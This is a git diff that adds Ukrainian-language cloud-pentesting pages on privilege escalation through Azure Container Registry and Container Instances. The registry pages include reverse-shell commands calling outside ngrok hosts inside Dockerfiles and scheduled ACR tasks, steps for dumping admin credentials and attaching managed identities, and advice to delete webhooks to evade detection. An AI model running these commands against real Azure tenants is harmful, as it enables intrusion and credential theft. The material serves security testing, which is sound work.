diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e3e18e17d..7ab73713c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -408,6 +408,8 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -445,7 +447,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -460,14 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/images/registry_roles.png b/src/images/registry_roles.png new file mode 100644 index 000000000..f1d4a3615 Binary files /dev/null and b/src/images/registry_roles.png differ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md new file mode 100644 index 000000000..e89c4a21c --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md @@ -0,0 +1,64 @@ +# Az - Azure Container Instances Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Instances + +Для отримання додаткової інформації перегляньте: + +{{#ref}} +../az-services/az-container-instances.md +{{#endref}} + +### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action` + +Ці дозволи дозволяють користувачу **виконати команду** в запущеному контейнері. Це можна використовувати для **ескалації привілеїв** у контейнері, якщо до нього прикріплено будь-яку керовану ідентичність. Звичайно, також можливо отримати доступ до вихідного коду та будь-якої іншої чутливої інформації, що зберігається всередині контейнера. + +Щоб виконати `ls` і отримати вихід, це так само просто, як: +```bash +az container exec --name --resource-group --exec-command 'ls' +``` +Також можливо **прочитати вихідні дані** контейнера за допомогою: +```bash +az container attach --name --resource-group +``` +Або отримайте журнали за допомогою: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Ці дозволи дозволяють **прикріпити керовану користувачем ідентичність** до групи контейнерів. Це дуже корисно для ескалації привілеїв у контейнері. + +Щоб прикріпити керовану користувачем ідентичність до групи контейнерів: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Ці дозволи дозволяють **створювати або оновлювати групу контейнерів** з **управляємим користувачем ідентифікатором** прикріпленим до неї. Це дуже корисно для ескалації привілеїв у контейнері. +```bash +az container create \ +--resource-group > \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +Крім того, також можливо оновити існуючу групу контейнерів, додавши, наприклад, аргумент **`--command-line`** з реверс-шелом. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md new file mode 100644 index 000000000..27b566a2b --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md @@ -0,0 +1,115 @@ +# Az - Azure Container Registry Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Для отримання додаткової інформації перегляньте: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action` + +Ця дозволяє користувачу переглядати облікові дані адміністратора ACR. Це корисно для **отримання повного доступу** до реєстру. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//listCredentials?api-version=2023-11-01-preview" +``` +У випадку, якщо облікові дані адміністратора не активовані, вам також знадобиться дозвіл `Microsoft.ContainerRegistry/registries/write`, щоб активувати їх за допомогою: +```bash +az rest --method PATCH --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries/?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}' +``` +### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action` + +Ці дозволи дозволяють користувачу **створити новий токен** з паролями для доступу до реєстру. + +Щоб використовувати `az cli` для його генерації, як у наступному прикладі, вам також знадобляться дозволи `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` +```bash +az acr token create \ +--registry \ +--name \ +--scope-map _repositories_admin +``` +### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` + +Ці дозволи дозволяють користувачу **створювати та запускати образ** у реєстрі. Це можна використовувати для **виконання коду** в контейнері. + +>[!WARNING] +> Однак, образ буде виконуватись у **пісочниці** і **без доступу до служби метаданих**. Це означає, що контейнер не матиме доступу до **метаданих екземпляра**, тому це не є дійсно корисним для ескалації привілеїв. +```bash +# Build +echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile +az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null +``` +### `Microsoft.ContainerRegistry/registries/tasks/write` + +Це основний дозвіл, який дозволяє створювати та оновлювати завдання в реєстрі. Це можна використовувати для **виконання коду всередині контейнера з прикріпленою до нього керованою ідентичністю** в контейнері. + +Це приклад того, як виконати реверс-шелл у контейнері з **керованою системою** ідентичністю, прикріпленою до нього: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +Інший спосіб отримати RCE з задачі без використання зовнішнього репозиторію - це використати команду `az acr task create` з прапором `--cmd`. Це дозволить вам виконати команду в контейнері. Наприклад, ви можете запустити реверс-шелл за допомогою наступної команди: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task-cmd \ +--image rev/shell2:v1 \ +--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \ +--schedule "*/1 * * * *" \ +--context /dev/null \ +--commit-trigger-enabled false \ +--assign-identity +``` +> [!TIP] +> Зверніть увагу, що для призначення системного керованого ідентифікатора вам не потрібні спеціальні дозволи, хоча він повинен бути активований раніше в реєстрі та отримати деякі дозволи, щоб бути корисним. + +Щоб також призначити **керований ідентифікатор користувача**, вам знадобиться дозвіл `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, щоб виконати: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \[system\] "/subscriptions/>/resourcegroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +Щоб **оновити** репозиторій існуючого завдання, ви можете зробити: +```bash +az acr task update \ +--registry \ +--name reverse-shell-task \ +--context https://github.com/your-user/your-repo.git +``` +### `Microsoft.ContainerRegistry/registries/importImage/action` + +З цією дозволом можливо **імпортувати зображення до реєстру azure**, навіть не маючи зображення локально. Однак зверніть увагу, що ви **не можете імпортувати зображення з тегом**, який вже існує в реєстрі. +```bash +# Push with az cli +az acr import \ +--name \ +--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import +``` +Щоб **видалити або зняти мітку з конкретного зображення** з реєстру, ви можете використати наступну команду. Однак зверніть увагу, що вам знадобиться користувач або токен з **достатніми правами** для цього: +```bash +az acr repository untag \ +--name \ +--image : + +az acr repository delete \ +--name \ +--image : +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-instances.md b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md new file mode 100644 index 000000000..2d8b819bf --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md @@ -0,0 +1,45 @@ +# Az - Container Instances + +{{#include ../../../../banners/hacktricks-training.md}} + +## Основна інформація + +Azure Container Instances (ACI) надають **безсерверний, за запитом спосіб** запуску **контейнерів** в хмарі Azure. Ви можете **розгорнути** один або кілька контейнерів у групі з **масштабованими обчисленнями**, **мережевими опціями** та гнучкістю підключення до **інших служб Azure** (таких як Storage, Virtual Networks або Container Registries). + +Оскільки це **епhemeral** навантаження, вам не потрібно керувати основною інфраструктурою ВМ — Azure займається цим за вас. Однак з точки зору **оборонної безпеки** важливо розуміти, як **дозволи**, **особи**, **мережеві конфігурації** та **журнали** можуть виявити поверхні атаки та потенційні неправильні налаштування. + +### Конфігурації + +- Щоб створити контейнер, можна використовувати публічний образ, образ контейнера з Azure Container Registry або зовнішнього репозиторію, що може **вимагати налаштування пароля** для доступу до нього. +- Щодо мережі, він також може мати **публічну IP-адресу** або бути **приватними кінцевими точками**. +- Також можливо налаштувати загальні налаштування docker, такі як: +- **Змінні середовища** +- **Томи** (навіть з Azure Files) +- **Порти** +- **Обмеження CPU та пам'яті** +- **Політика перезапуску** +- **Запуск з привілегіями** +- **Командний рядок для запуску** +- ... + +## Перерахування + +> [!WARNING] +> Під час перерахування ACI ви можете виявити чутливі конфігурації, такі як **змінні середовища**, **мережеві деталі** або **керовані особи**. Будьте обережні з їхнім веденням або відображенням. +```bash +# List all container instances in the subscription +az container list + +# Show detailed information about a specific container instance +az container show --name --resource-group + +# Fetch logs from a container +az container logs --name --resource-group + +# Execute a command in a running container and get the output +az container exec --name --resource-group --exec-command "ls" + +# Get yaml configuration of the container group +az container export --name --resource-group +``` + diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md new file mode 100644 index 000000000..75f10ae23 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -0,0 +1,157 @@ +# Az - Container Registry + +{{#include ../../../../banners/hacktricks-training.md}} + +## Basic Information + +Azure Container Registry (ACR) - це безпечний, приватний реєстр, який дозволяє вам **зберігати, керувати та отримувати доступ до контейнерних зображень в хмарі Azure**. Він безшовно інтегрується з кількома службами Azure, забезпечуючи автоматизовані робочі процеси збірки та розгортання в масштабах. Завдяки таким функціям, як гео-реплікація та сканування вразливостей, ACR допомагає забезпечити безпеку та відповідність корпоративного рівня для контейнеризованих додатків. + +### Permissions + +Це **різні дозволи** [згідно з документацією](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), які можуть бути надані над реєстром контейнерів: + +- Доступ до Resource Manager +- Створення/видалення реєстру +- Завантаження зображення +- Витягування зображення +- Видалення даних зображення +- Зміна політик +- Підписування зображень + +Існують також деякі **вбудовані ролі**, які можуть бути призначені, і також можливо створити **кастомні ролі**. + +![]() + +### Authentication + +> [!WARNING] +> Дуже важливо, що навіть якщо ім'я реєстру містить великі літери, ви завжди повинні використовувати **малі літери** для входу, завантаження та витягування зображень. + +Існує 4 способи аутентифікації до ACR: + +- **З Entra ID**: Це **за замовчуванням** спосіб аутентифікації до ACR. Він використовує команду **`az acr login`** для аутентифікації до ACR. Ця команда **зберігає облікові дані** у файлі **`~/.docker/config.json`**. Більше того, якщо ви виконуєте цю команду з середовища без доступу до сокета docker, як у **хмарному терміналі**, можливо використовувати прапорець **`--expose-token`** для отримання **токена** для аутентифікації до ACR. Потім для аутентифікації потрібно використовувати як ім'я користувача `00000000-0000-0000-0000-000000000000`, наприклад: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **З обліковим записом адміністратора**: Обліковий запис адміністратора за замовчуванням вимкнений, але його можна увімкнути, і тоді буде можливість отримати доступ до реєстру з **ім'ям користувача** та **паролем** адміністратора з повними правами на реєстр. Це все ще підтримується, оскільки деякі служби Azure використовують його. Зверніть увагу, що для цього користувача створюються **2 паролі**, і обидва є дійсними. Ви можете увімкнути його за допомогою `az acr update -n --admin-enabled true`. Зверніть увагу, що ім'я користувача зазвичай є ім'ям реєстру (а не `admin`). +- **З токеном**: Можливо створити **токен** з **конкретною `scope map`** (дозволами) для доступу до реєстру. Потім можливо використовувати це ім'я токена як ім'я користувача та деякий згенерований пароль для аутентифікації до реєстру за допомогою `docker login -u -p aregistry-url>` +- **З Service Principal**: Можливо створити **service principal** і призначити роль, таку як **`AcrPull`**, для витягування зображень. Потім буде можливість **увійти до реєстру**, використовуючи appId SP як ім'я користувача та згенерований секрет як пароль. + +Приклад скрипта з [документації](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) для генерації SP з доступом до реєстру: +```bash +#!/bin/bash +ACR_NAME=$containerRegistry +SERVICE_PRINCIPAL_NAME=$servicePrincipal + +# Obtain the full registry ID +ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv) + +PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv) +USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv) + +echo "Service principal ID: $USER_NAME" +echo "Service principal password: $PASSWORD" +``` +### Шифрування + +Тільки **Premium SKU** підтримує **шифрування в спокої** для зображень та інших артефактів. + +### Мережа + +Тільки **Premium SKU** підтримує **приватні кінцеві точки**. Інші версії підтримують лише **публічний доступ**. Публічна кінцева точка має формат `.azurecr.io`, а приватна кінцева точка має формат `.privatelink.azurecr.io`. З цієї причини ім'я реєстру повинно бути унікальним у всьому Azure. + +### Microsoft Defender для Cloud + +Це дозволяє вам **сканувати зображення** в реєстрі на наявність **вразливостей**. + +### М'яке видалення + +Функція **м'якого видалення** дозволяє вам **відновити видалений реєстр** протягом вказаної кількості днів. Ця функція **вимкнена за замовчуванням**. + +### Вебхуки + +Можливо **створити вебхуки** всередині реєстрів. У цьому вебхуці потрібно вказати URL, куди **буде надіслано запит щоразу, коли виконується дія push або delete**. Більше того, вебхуки можуть вказувати область, щоб вказати репозиторії (зображення), які будуть підлягати впливу. Наприклад, 'foo:*' означає події під репозиторієм 'foo'. + +З точки зору атакуючого цікаво перевірити це **перед виконанням будь-якої дії** в реєстрі та тимчасово видалити його, якщо це необхідно, щоб уникнути виявлення. + +### Підключені реєстри + +Це в основному дозволяє **дзеркалити зображення** з одного реєстру в інший, зазвичай розташований на місці. + +Він має 2 режими: **ReadOnly** та **ReadWrite**. У першому з них зображення лише **витягуються** з вихідного реєстру, а в другому зображення також можуть бути **додані** до вихідного реєстру. + +Для того, щоб клієнти могли отримати доступ до реєстру з Azure, **токен** генерується, коли використовується підключений реєстр. + +### Запуски та Завдання + +Запуски та Завдання дозволяють виконувати в Azure дії, пов'язані з контейнерами, які зазвичай потрібно було виконувати локально або в CI/CD конвеєрі. Наприклад, ви можете **будувати, додавати та запускати зображення в реєстрі**. + +Найпростіший спосіб побудувати та запустити контейнер - це використання звичайного Запуску: +```bash +# Build +echo "FROM mcr.microsoft.com/hello-world" > Dockerfile +az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile . + +# Run +az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null +``` +Однак це викличе запуски, які не є надто цікавими з точки зору атакуючого, оскільки до них не прикріплено жодної керованої ідентичності. + +Однак **tasks** можуть мати **системну та користувацьку керовану ідентичність**. Ці завдання є корисними для **ескалації привілеїв** у контейнері. У розділі ескалації привілеїв можна побачити, як використовувати завдання для ескалації привілеїв. + +### Cache + +Функція кешу дозволяє **завантажувати зображення з зовнішнього репозиторію** та зберігати нові версії в реєстрі. Це вимагає наявності деяких **налаштованих облікових даних**, вибираючи облікові дані з Azure Vault. + +Це дуже цікаво з точки зору атакуючого, оскільки це дозволяє **переходити на зовнішню платформу**, якщо атакуючий має достатні дозволи для доступу до облікових даних, **завантажувати зображення з зовнішнього репозиторію** та налаштування кешу також може бути використано як **механізм збереження**. + +## Enumeration + +> [!WARNING] +> Дуже важливо, що навіть якщо ім'я реєстру містить великі літери, ви повинні використовувати лише малі літери в URL для доступу до нього. +```bash +# List of all the registries +# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... +az acr list + +# Get the details of a registry +az acr show --name + +# List tokens of a registry +az acr token list --registry --resource-group + +# List repositories in a registry +az acr repository list --name --resource-group + +# List the tags of a repository +az acr repository show-tags --repository --name --resource-group + +# List deleted repository tags +## At the time of this writing there isn't yet any command to restore it +az acr repository list-deleted --name + +# List tasks +## Check the git URL or the command +az acr task list --registry + +# List tasks runs +az acr task list-runs --registry + +# List connected registries +az acr connected-registry list --registry + +# List cache +az acr cache list --registry + +# Get cache details +az acr cache show --name --registry +``` +## Підвищення привілеїв та постексплуатація + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## Посилання + +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) + +{{#include ../../../../banners/hacktricks-training.md}}